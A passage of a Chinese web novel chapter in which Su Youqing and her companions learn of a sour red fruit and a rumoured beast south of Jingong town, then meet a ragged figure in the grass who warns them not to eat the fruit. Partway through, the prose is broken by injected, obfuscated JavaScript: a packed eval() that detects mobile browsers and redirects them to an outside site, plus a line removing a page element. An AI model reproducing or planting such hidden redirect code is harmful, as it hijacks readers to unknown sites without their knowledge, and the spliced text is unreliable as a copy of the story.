“酸的？”苏有青脱口而出。
她本是揣着答案问问题，却得到了一个意料之外的回答。
见了她的反应，掌柜的笑说道：“若是甜的，怎会无人摘了吃？”
闻言，苏有青反应了过来，也是。道旁李苦，或许那甜果子是别的东西。
她便又问掌柜的：“那酸果子叫什么名？”
掌柜的道：“这我不知。那果子是从南边长过来的，我们镇上没人认识，又用不上它，便也没起什么诨名。”
快刀心直口快道：“既是不能吃的东西，姑娘明日还要去那边看吗？”
掌柜的比苏有青先一步接过了话：“你们要去那边摘果子？”
她语气很是诧异，隐约间似乎还带着些阻拦的意味。
苏有青便问：“不能摘吗？不是说是自己长过来的野果子。”
掌柜的沉吟道：“摘倒是随意，只是怕你们贪多，边摘边跟着果子走远了。我方才说它们是打南边来的，可津弓镇的南边是毫无人烟的荒地。我们平日里从不往那边走，到那长黄薯的沙地便是头了。”
苏有青没带犹豫的，张口便道：“那我们不去了。”
掌柜的点了点头：“不去更好。方才怕吓到你们，我便没好说。镇里人都说，过了南边的沙地还有野兽呢，一到晚上便出来捕猎，怪吓人的。有人清早过去挖黄薯时也见过。不过你放心，我们镇子里是绝对安全的。”
苏有青已在津弓镇待上好几日，却还是头一遭听到这么个说法：“啊？是什么兽？”
掌柜的道：“不知道哪门子山林野兽，说是通体黑毛，有半人高。不过走得很慢，脚印又拖得老长，估计是个腿短的。”
话至一半，掌柜的给自己逗乐了，笑停后才接着说道：“我也是听知镇家的小哥说的，那知镇还瞒着不告诉大家呢，怕邻里会吓到。”
这形容太奇怪，苏有青想不出哪种能对应上的动物，干巴巴地说：“竟还有这种动物？”
掌柜的道：“我也没见过。不过镇里的老人说，那野兽是吃人的性子，便集结了几个能打的人一起，将那兽好一顿吓唬。那些人打包票，说只需一次，便叫它们再也不敢往我们这边来。再后来，确实没人见过野兽了。”
苏有青明白了，便是现在已没了野兽的意思，也就是能去的意思。
于是她突兀地转了话头，不再提南边的沙地：“那津弓镇有什么甜的浆果吗？”
掌柜的叹了口短气：“嗨，我们这种整日吃各种薯的地方，浆果可是稀罕物，更别说要甜的。我听闻有的地方，种的瓜果是又多又好吃。”
“津弓镇也有津弓镇的特色嘛。”苏有青道，“我们还有事，先回房了，你忙。”
“好嘞。”掌柜的热情道。
上了楼，见周遭已没了旁人，包菜疑惑道：“小姐明日不去那边了吗？”
苏有青好笑：“当然要去。”
包菜更疑惑了：“那方才为何要骗那掌柜？她看起来也是好意。”
“你也说了她是个人好的，若是直言，惹得她多生担忧就不好了。”苏有青一脸狡黠，“再者说，我方才只说‘不去了’，是说不去那果子的源头，可没说不再去沙地。”
虽现下是狡辩，但方才说出这话时，苏有青倒是真无所谓那红果子。既知不是书中的甜果，她大可以换个地方找，顺带继续在津弓镇周遭走走看看。
更何况，她也并非一定要找到那果子。相比好奇果子的味道，她更像是在寻觅一个书里看来的打卡点，若是好几日都没瞧见，那作罢便是了。
可紧接着，掌柜的提到了野兽，这反而让苏有青生出了奇怪之感。
抛开模样不谈，既是吃人的性子，怎会被人唬住一次、便往后几年里再也不来？莫非南边那平坦沙地，还能充作阻挡的砖墙不成？
进了房，苏有青蹙着眉，踱步到桌边坐下。
她忽地忆起前几日里，快刀也称过一次奇怪。
快刀说，分明是上供檀木的地方，却见不到几棵高大些的檀树，尽是些低矮的林子，好生奇怪。
苏有青却想着，长到足以进贡的成树都被砍倒、运往京中，余下些初长成的小树，倒也正常。
当时，见快刀还是满脸不解，苏有青便问：“怎么，宫中现在缺檀木吗？”
“那倒没有。”快刀确信地答道，“只是......”
“只是”了半天，她也没说出什么，苏有青只好作罢。
快刀本觉得，正是因为不缺，所以才奇怪。可是话要出口前，她觉得这无端的揣度怕是要冒犯了津弓，而自己的笨嘴又一向说不清楚缘由，干脆算了。
今日方到镇子南边时，苏有青还不觉有什么。现下思绪如此一串，她又想起临回客栈前，她朝果子来处的那一眼。
有薄雾，有杂草，没看见一棵树。
这本不是什么要紧事，只是接连的出乎预料都堆积在镇子南边的沙土地里，苏有青愈发好奇了。
不过现下的空泛多思也没用。既定了明日还要过去看，不如早些休息，养精蓄锐。她便又起身收拾了。
第二天，苏有青三人按往常时候下楼，去隔壁的早点铺子里喝粥。
掌柜的也在那儿等蒸饼。见到三人，她招呼道：“今天准备去哪儿？”
苏有青答道：“准备去林子里乘凉。”
掌柜的道：“今日没什么太阳，确实适合找个地方吹风。不过要早点回来呀，我看这天，午后怕是要落雨。”
“蒸饼好咯，仨肉仨素的。”早点铺的人递了个盘子给掌柜。
掌柜的接过盘子便要回客栈，迈步前又同苏有青道：“出门前记得带个斗笠啊。”
苏有青道：“记住了，多谢。”
吃饱喝足过后，三人便往南边去了。
走在道上闲聊时，苏有青看到路边人家的竹篱笆，说起这种平房小院看着就舒心，若是能再养几只又能下蛋又能吃肉的鸡鸭便更好了。
包菜笑道：“那小姐回去便和主君说，要在咱们院子里圈一块地分给鸡鸭。”
扯过这些小动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320291|198329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
物，包菜又想到大些的兽。她话锋一转，问道：“小姐，若那边真有野兽可怎么办？”
苏有青打趣道：“怕什么，温顺些的小兽又不吃人，不必害怕。倘若碰上凶猛些的就更好办了，直接等着被吃就好，同样不必担惊受怕。”
包菜有点麻了，被自家小姐的豁达震麻的。
快刀也是不以为意：“不是说那野兽走得慢？刚好我的刀很快。”
快刀那语气满是正经，不似掺了半句玩笑。苏有青被逗得走不动道，站定后笑够了半天才继续前行。
今日这一趟的目的地明确，她们便没在路上多耽搁时间，一路奔着南边去了。
昨日的石头缝并无变化，里头的红果仍在挣扎着活。
沿着小果长过来的方向，苏有青三人走到了沙地的另一边。
这边的果子要稍多些，杂草也抻得更高。
再往前看，星点的红色渐渐蔓延开，不似沙地的这一头，长得稀稀拉拉。
苏有青就近摘下了一颗果子，凑到鼻子边闻了闻气味，却闻不出什么味。
昨夜入睡前，苏有青冒出过新的猜测。
既这果子长得浑似后世酸甜的小番茄，后世又不是没有纯甜味的品种。若这果子确实是小番茄，想要它在野外生出极甜的味道，虽需些巧合，但至少不是全无可能。
而若说是极酸的果子......同样有，能做出红酸汤的果子便是如此。
掌柜的说过这果子无大碍，只不过酸了些，现下她又琢磨出旁的可能。似是为了验证，苏有青擦了擦那果子，递到了嘴边。
“别。”不知从何处传来一个声音，嘶哑得听不出方向。
似是个人声，含混却又很用力，像是撕开了一块旧布的动静。
“什么人！”快刀一把抽出了腰刀，电光火石间便和包菜背靠背地护住了苏有青。
“再不出来，我可就要出手了！”她继续冷脸喝道。
然而除了三人的呼吸声，四野再没旁的动静，连眼前的杂草都不再摇。
苏有青环视一圈，也没瞧见什么异常，道：“会不会是我们听错了，方才那声音是远些的地方穿来的？”
话毕，苏有青下意识地想将手中的小果往嘴里塞。
“别吃......”这一次，那人声将字句咬得更清楚了些，便也能听出是草里来的声音。
苏有青循声看向一旁，有个黑影从杂草里立了起来，一只手撑在地上，另只手搭在曲着的腿上。
黑影光是清嗓子便费了好大的力气，又一字一顿地，似是想努力将话说得明白些：
“呀果不，不吃，吃了要啊的。”
黑影吞吐得很慢，但苏有青还是没听懂这句咿呀。
眼前人身上的衣物沾着泥土与碎草，瞧不出颜色。苏有青没说话，沉静之时起了一阵风，将杂草与袖管扯远。
于是撑地的胳膊被衣袖裹出了形状，纤细得像孩童的肢体。
望着那遮住面颊的散乱长发，苏有青轻声问道：“你是谁？”